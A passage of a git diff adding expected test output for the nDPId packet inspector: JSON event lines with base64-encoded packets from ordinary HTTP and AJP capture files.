+00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1614860229389,"flow_last_seen":1614860229390,"flow_tot_l4_data_len":694,"flow_min_l4_data_len":20,"flow_max_l4_data_len":562,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28504,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"www.aimini.com","url":"www.aimini.com\/webcounter\/w.php?___hm=.net_Search_&_lh_=http:\/\/www.aimini.net\/search\/?q=pictures&sca=&__Refer_=http:\/\/www.aimini.net\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko\/20110420 Firefox\/3.6.17"}} +00421{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390401,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ApXG95WRWgXZu6TVCABFAAAoBRgAAH8GIeoKZQACCmYAAm9YAFCbu\/hrm7v7WVAQgAGAHwAAAAAAAAAA"} +01140{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390501,"pkt_caplen":596,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":596,"pkt_l4_len":562,"pkt":"ApXG95WRWgXZu6TVCABFAAJGBRkAAH8GH8sKZQACCmYAAm9YAFCbu\/hrm7v7WVAYgAFYUgAAR0VUIC93ZWJjb3VudGVyL3cucGhwP19fX2htPS5uZXRfU2VhcmNoXyZfbGhfPWh0dHA6Ly93d3cuYWltaW5pLm5ldC9zZWFyY2gvP3E9cGljdHVyZXMmc2NhPSZfX1JlZmVyXz1odHRwOi8vd3d3LmFpbWluaS5uZXQvIEhUVFAvMS4xDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3Mg0KSG9zdDogd3d3LmFpbWluaS5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVM7IHJ2OjEuOS4yLjE3KSBHZWNrby8yMDExMDQyMCBGaXJlZm94LzMuNi4xNw0KQWNjZXB0OiBpbWFnZS9wbmcsaW1hZ2UvKjtxPTAuOCwqLyo7cT0wLjUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpLZWVwLUFsaXZlOiAxMTUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly93d3cuYWltaW5pLm5ldC9zZWFyY2gvP3E9cGljdHVyZXMmc2NhPQ0KDQo="} +00796{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390509,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"WgXZu6TVApXG95WRCABFAAFFBSMAAIAGAAAKZgACCmUAAgBQb1ibu\/tZm7v6iVAYgAEWBgAASFRUUC8xLjEgMjAwIE9LDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3Mg0KRGF0ZTogV2VkLCAwOCBKdW4gMjAxMSAwOToyMjo0NSBHTVQNClNlcnZlcjogQXBhY2hlDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KS2VlcC1BbGl2ZTogdGltZW91dD0yLCBtYXg9MTAwMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04DQoNCh+LCAAAAAAAAP8DAAAAAAAAAAAA"} +00797{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390683,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"ApXG95NL5kBKB+riCABFAAFFBSMAAH8GIMIKZgACCmUAAgBQb1ibu\/tZm7v6iVAYgAFvzgAASFRUUC8xLjEgMjAwIE9LDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3Mg0KRGF0ZTogV2VkLCAwOCBKdW4gMjAxMSAwOToyMjo0NSBHTVQNClNlcnZlcjogQXBhY2hlDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KS2VlcC1BbGl2ZTogdGltZW91dD0yLCBtYXg9MTAwMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04DQoNCh+LCAAAAAAAAP8DAAAAAAAAAAAA"} +00422{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390687,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"5kBKB+riApXG95NLCABFAAAoBRoAAIAGAAAKZQACCmYAAm9YAFCbu\/qJm7v8dlAUgAEU6QAAAAAAAAAA"} +00422{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390688,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"WgXZu6TVApXG95WRCABFAAAoBSQAAIAGAAAKZgACCmUAAgBQb1ibu\/x2m7v6iVAUgAEU6QAAAAAAAAAA"} +00422{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":390930,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ApXG95WRWgXZu6TVCABFAAAoBRoAAH8GIegKZQACCmYAAm9YAFCbu\/qJm7v8dlAUgAF84AAAAAAAAAAA"} diff --git a/test/results/ajp.pcap.out b/test/results/ajp.pcap.out new file mode 100644 index 000000000..5ac96b154 --- /dev/null +++ b/test/results/ajp.pcap.out @@ -0,0 +1,76 @@ +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447407,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAPLLIQABABhyUrB0JkqwdCZOXyB9JcsXbLwAAAACgAjkI5g0AAAIEBbQEAggKTpxp5wAAAAABAwMH"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447547,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAPAAAQABABs9crB0Jk6wdCZIfSZfIk6AuuHLF2zCgEjiQFewAAAIEBbQEAggKHlfv2E6caecBAwMH"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447556,"pkt_caplen":94,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADwAAEAAQAbPXKwdCZOsHQmSH0mXyJOgLrhyxdswoBI4kBXsAAACBAW0BAIICh5X79hOnGnnAQMDBw=="} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447616,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLJQABABhybrB0JkqwdCZOXyB9JcsXbMJOgLrmAEABzfNQAAAEBCApOnGnoHlfv2A=="} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447617,"pkt_caplen":75,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":75,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAObLKQABABhyVrB0JkqwdCZOXyB9JcsXbMJOgLrmAGABzYJIAAAEBCApOnGnoHlfv2BI0AAEK"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447662,"pkt_caplen":94,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAADyyyEAAQAYclKwdCZKsHQmTl8gfSXLF2y8AAAAAoAI5COYNAAACBAW0BAIICk6caecAAAAAAQMDBw=="} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447809,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAANMFgQABABg4ErB0Jk6wdCZIfSZfIk6AuuXLF2zWAEAByfM8AAAEBCAoeV+\/ZTpxp6A=="} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":7,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447980,"pkt_caplen":86,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYEAAQAYOBKwdCZOsHQmSH0mXyJOgLrlyxds1gBAAcnzPAAABAQgKHlfv2U6caeg="} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":8,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448303,"pkt_caplen":75,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":75,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAOcFhQABABg3+rB0Jk6wdCZIfSZfIk6AuuXLF2zWAGAByMn8AAAEBCAoeV+\/ZTpxp6EFCAAEJ"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":9,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00420{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448477,"pkt_caplen":91,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADnBYUAAQAYN\/qwdCZOsHQmSH0mXyJOgLrlyxds1gBgAcjJ\/AAABAQgKHlfv2U6caehBQgABCQ=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":10,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +01517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448584,"pkt_caplen":912,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":912,"pkt_l4_len":0,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAA26yzEAAQAYZXqwdCZKsHQmTl8gfSXLF2zWToC6+gBgAc\/j3AAABAQgKTpxp6B5X79kSNAM2AgQACEhUVFAvMS4xAAA0L0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbQAADDE3Mi4yOS4wLjEyOQD\/\/wAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAFAAAA6gBgAKa2VlcC1hbGl2ZQAADUNhY2hlLUNvbnRyb2wAAAltYXgtYWdlPTAAAAZPcmlnaW4AAB5odHRwOi8vc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAABlVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzAAABMQCgDgBpTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNjAuMC4zMTEyLjExMyBTYWZhcmkvNTM3LjM2AKAHACFhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAoAEAVXRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgAoA0AW2h0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy9yZWxhdG9yaW9EZU9yZGVtRGVTZXJ2aWNvLnNlYW0\/Y2lkPTY4MDgAAA9BY2NlcHQtRW5jb2RpbmcAAARnemlwAAAPQWNjZXB0LUxhbmd1YWdlAAAjcHQtQlIscHQ7cT0wLjgsZW4tVVM7cT0wLjYsZW47cT0wLjQAoAgAAzIxOQCgCQAySlNFU1NJT05JRD0wODUzOTA3RDhFMzI0Nzc2QTc0QzJBNTBBMzI2NjRFMi4wMDkxNDcAoAsAF3Npc3RlbWFzY2NwLmluZXAuZ292LmJyAAAMWC1JTUZvcndhcmRzAAACMjAABgAGMDA5MTQ3AAoAD0FKUF9SRU1PVEVfUE9SVAAABDU3MDUACgAQSktfTEJfQUNUSVZBVElPTgAAA0FDVAD\/"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":11,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448596,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLLQABABhyZrB0JkqwdCZOXyB9JcsXbNZOgLr6AEABzfMkAAAEBCApOnGnoHlfv2Q=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":12,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +01494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448604,"pkt_caplen":896,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":896,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQADbrLMQABABhlerB0JkqwdCZOXyB9JcsXbNZOgLr6AGABz+PcAAAEBCApOnGnoHlfv2RI0AzYCBAAISFRUUC8xLjEAADQvQ0NQL3BhZ2VzL3JlbGF0b3Jpb3MvcmVsYXRvcmlvRGVPcmRlbURlU2Vydmljby5zZWFtAAAMMTcyLjI5LjAuMTI5AP\/\/ABdzaXN0ZW1hc2NjcC5pbmVwLmdvdi5icgAAUAAADqAGAAprZWVwLWFsaXZlAAANQ2FjaGUtQ29udHJvbAAACW1heC1hZ2U9MAAABk9yaWdpbgAAHmh0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5icgAAGVVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHMAAAExAKAOAGlNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS82MC4wLjMxMTIuMTEzIFNhZmFyaS81MzcuMzYAoAcAIWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZACgAQBVdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOACgDQBbaHR0cDovL3Npc3RlbWFzY2NwLmluZXAuZ292LmJyL0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbT9jaWQ9NjgwOAAAD0FjY2VwdC1FbmNvZGluZwAABGd6aXAAAA9BY2NlcHQtTGFuZ3VhZ2UAACNwdC1CUixwdDtxPTAuOCxlbi1VUztxPTAuNixlbjtxPTAuNACgCAADMjE5AKAJADJKU0VTU0lPTklEPTA4NTM5MDdEOEUzMjQ3NzZBNzRDMkE1MEEzMjY2NEUyLjAwOTE0NwCgCwAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAAxYLUlNRm9yd2FyZHMAAAIyMAAGAAYwMDkxNDcACgAPQUpQX1JFTU9URV9QT1JUAAAENTcwNQAKABBKS19MQl9BQ1RJVkFUSU9OAAADQUNUAP8="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":13,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00692{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448606,"pkt_caplen":295,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":295,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQABFbLNQABABhu2rB0JkqwdCZOXyB9JcsXeb5OgLr6AGABzI4sAAAEBCApOnGnpHlfv2RI0AN0A23JlbGF0b3Jpb0Zvcm09cmVsYXRvcmlvRm9ybSZ0aXBvUmVsYXRvcmlvT1NEZWNvcmF0ZSUzQXRpcG9SZWxhdG9yaW9PU1NlbGVjdD1PUkRFTV9ERV9TRVJWSUNPX0dFUkFMJkFEZWNvcmF0ZSUzQUFDaGVjaz1vbiZCRGVjb3JhdGUlM0FCQ2hlY2s9b24mQ0RlY29yYXRlJTNBQ0NoZWNrPW9uJmpfaWQxNTYueD0xMDEmal9pZDE1Ni55PTgmamF2YXguZmFjZXMuVmlld1N0YXRlPWpfaWQxMw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":14,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448662,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAANMFiQABABg4CrB0Jk6wdCZIfSZfIk6AuvnLF31CAEACLeJUAAAEBCAoeV+\/aTpxp6A=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":15,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448825,"pkt_caplen":86,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYkAAQAYOAqwdCZOsHQmSH0mXyJOgLr5yxd9QgBAAi3iVAAABAQgKHlfv2k6caeg="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":16,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00698{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":617953,"pkt_caplen":300,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":300,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQABGsFjQABABg0brB0Jk6wdCZIfSZfIk6AuvnLF31CAGACL2MAAAAEBCAoeV\/CDTpxp6EFCAOIEAS4AEU1vdmVkIFRlbXBvcmFyaWx5AAAEAAxYLVBvd2VyZWQtQnkAACNTZXJ2bGV0IDIuNTsgSkJvc3MtNS4wL0pCb3NzV2ViLTIuMQAADFgtUG93ZXJlZC1CeQAAB0pTRi8xLjIAoAYAcGh0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy92aXN1YWxpemFyUmVsYXRvcmlvL3Zpc3VhbGl6YXJSZWxhdG9yaW9Pc0dlcmFsLnNlYW0\/Y2lkPTY4MDgAoAMAATAA"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":17,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00399{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":617955,"pkt_caplen":76,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAOsFkQABABg36rB0Jk6wdCZIfSZfIk6AvpHLF31CAGACLMLMAAAEBCAoeV\/CDTpxp6EFCAAIFAQ=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":18,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":618218,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLOQABABhyWrB0JkqwdCZOXyB9JcsXfUJOgL6qAEAB7dmYAAAEBCApOnGqSHlfwgw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":19,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447407,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAPLLIQABABhyUrB0JkqwdCZOXyB9KcsXbLwAAAACgAjkI5gwAAAIEBbQEAggKTpxp5wAAAAABAwMH"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":20,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447547,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAPAAAQABABs9crB0Jk6wdCZIfSpfIk6AuuHLF2zCgEjiQFesAAAIEBbQEAggKHlfv2E6caecBAwMH"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":21,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447556,"pkt_caplen":94,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADwAAEAAQAbPXKwdCZOsHQmSH0mXyJOgLrhyxdswoBI4kBXsAAACBAW0BAIICh5X79hOnGnnAQMDBw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":22,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447616,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLJQABABhybrB0JkqwdCZOXyB9KcsXbMJOgLrmAEABzfNMAAAEBCApOnGnoHlfv2A=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":23,"source":"ajp.pcap","alias":"nDPId-test","type":33024} 